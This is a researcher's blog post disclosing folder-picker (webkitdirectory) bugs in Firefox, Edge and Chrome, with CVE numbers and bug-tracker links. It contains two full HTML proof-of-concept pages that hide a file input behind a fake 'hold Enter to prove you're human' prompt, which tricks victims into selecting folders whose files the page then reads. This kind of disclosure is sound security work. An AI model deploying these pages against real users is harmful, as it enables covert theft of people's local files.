Cross browser local files disclosure
Did you know that you can turn a normal file picker into a folder picker? This is done by adding the attribute 'webkitdirectory' to a given input element of type='file'.
Obviously, the difference being that with the folder picker, you end up loading all the files within a selected folder. An obvious vector for bugs at first glance and so after a bit of messing around I ended up getting a few bugs in all three major browsers.
I will write about each browser seperately since each case is a bit different than the other.
Mozilla Firefox
I have reported three different bugs to Mozilla in the webkitdirectory feature. Luckily the folder picker was only implement in Mozilla's Nightly browser, which is meant to test out new features before landing in the stable version.
Bug 1295914 - webkitdirectory could be used to trick users into allowing access to arbitrary folders (SEC-MEDIUM)
The first bug I reported that involved the folder picker was that of bad symantics. This bug was completely inspired by an
older bug fixed in Google Chrome where the issue was about how undescriptive the UX titles were. Which could have lead to fooling unsuspecting users.
Bug 1319370 (CVE-2017-5414) webkitdirectory - OS username disclosure (SEC-MEDIUM)
I consider the second bug a key factor in achieving a full local files disclosure. The issue here was that when a file picker was opened once, then the second time its opened it would have descended one folder.
So I made a PoC where it showed if we tricked a victim into holding the 'Enter' key, then we could also pop a filepicker whilst this was happening and it would result in the user 'picking' a folder that they were unaware of.
In order to grab the OS username the victim would need to hold down the enter button for two filepicker dialogs, since (on Windows) the default directory is 'C:\Users\{username}\Desktp\'.
That is the main user interaction we rely on when trying to exploit this bug, inspired by
this older Mozilla bug. Another way is to trick a user into repeatedly pressing a certain location and popping the folderpicker there so that the 'confirm pick' button will be pressed automatically.
Bug 1338637 - Arbitrary local files disclosure in input[webkitdirectory] (SEC-MEDIUM)
I found that if you would pop a filepicker while the user was holding the 'Enter' key, then we can trick a victim into giving us full access to all the files in the default directory. This came with some limits, being that on Windows OS it seemed like only the 'My Documents' folder was affected by this.
If it were a different folder like 'Desktop' (the default one) it would not load anything. This is a different matter on any other OS.
Thankfully, we have the bug previous to this one, where folders would descend after folderpicker use so I used this to my advantage in my bug report.
The following is the original PoC reported. Note that the first bug doesn't really have a PoC code (other than filepicker html) and I combined the 2nd and 3rd bugs into one PoC.
<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'\n');}
if(q.value=='Documents'){
window.i=1000;
}
if(e.key==='Enter'){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
}
}
</script>
</body>
</html>
Microsoft Edge
I reported a similar bug on Edge, the difference was that the default directory was 'My Documents' so I showed that the folderpicker can be used to recieve all the files within a victims documents folder.
This has since been fixed.
Original PoC:
<html>
<head>
<title>
Read all files on PC - PoC - By @qab
</title>
<style>
#thing {
opacity: 0.0;
}
</style>
</head>
<body>
<h3 id="qmsg">Hold down the ENTER key for 5 seconds to prove you're human..</h3>
<input id="thing" type="file" webkitdirectory mozdirectory accept="text/*" />
<script>
var r = new FileReader();
thing.onchange = function() {
alert('I can read ' + this.files.length + ' files from anywhere on your pc!');//This is for PoC only. We can access all data using this.files as seen next.
r.onload=function(){
alert(r.result);
};
r.readAsText(thing.files[0]);
};
//This is where we detect if the user is holding the Enter button.
var i = 0;
document.onkeydown = function() {
i++;
if (i > 4) {
thing.click();
i = -10000;
document.onkeydown = null;
setTimeout(function() {
qmsg.innerHTML = '<u>Thank you! Please wait while we verify (this might take a few minutes).</u>';
}, 1000);
};
};
</script>
</body>
</html>
Google Chrome
Google was the first vendor I contacted regarding this. After initially recieving a SEC-MEDIUM rating, it was later changed to SEC-LOW and ignored for months (~6). It turned out that Chrome would be able to detect this type of bug if anyone would try to use it on a mass scale, as it is logged by browser safety.
I'm still confused by this, but I believe what they mean is that they can both detect and block any malicious website that shows sudden high usage of the folder uploader. The same PoC reported to Microsoft works on Chrome as of writing this on 4/13/2017.
The worst part is that if the filepicker was defaulted to 'C:\', you would be able to read the entire disk..because the folder picker uploads all files within all sub directories.
References:
Arbitrary local files disclosure in input[webkitdirectory] bug report: https://bugzilla.mozilla.org/show_bug.cgi?id=1338637
(CVE-2017-5414) webkitdirectory - OS username disclosure: https://bugzilla.mozilla.org/show_bug.cgi?id=1319370
webkitdirectory could be used to trick users into allowing access to arbitrary folders: https://bugzilla.mozilla.org/show_bug.cgi?id=1295914
(CVE-2016-7239) Microsoft Edge Information Disclosure Vulnerability: https://technet.microsoft.com/library/security/mt674627.aspx
Google bug report: https://bugs.chromium.org/p/chromium/issues/detail?id=637098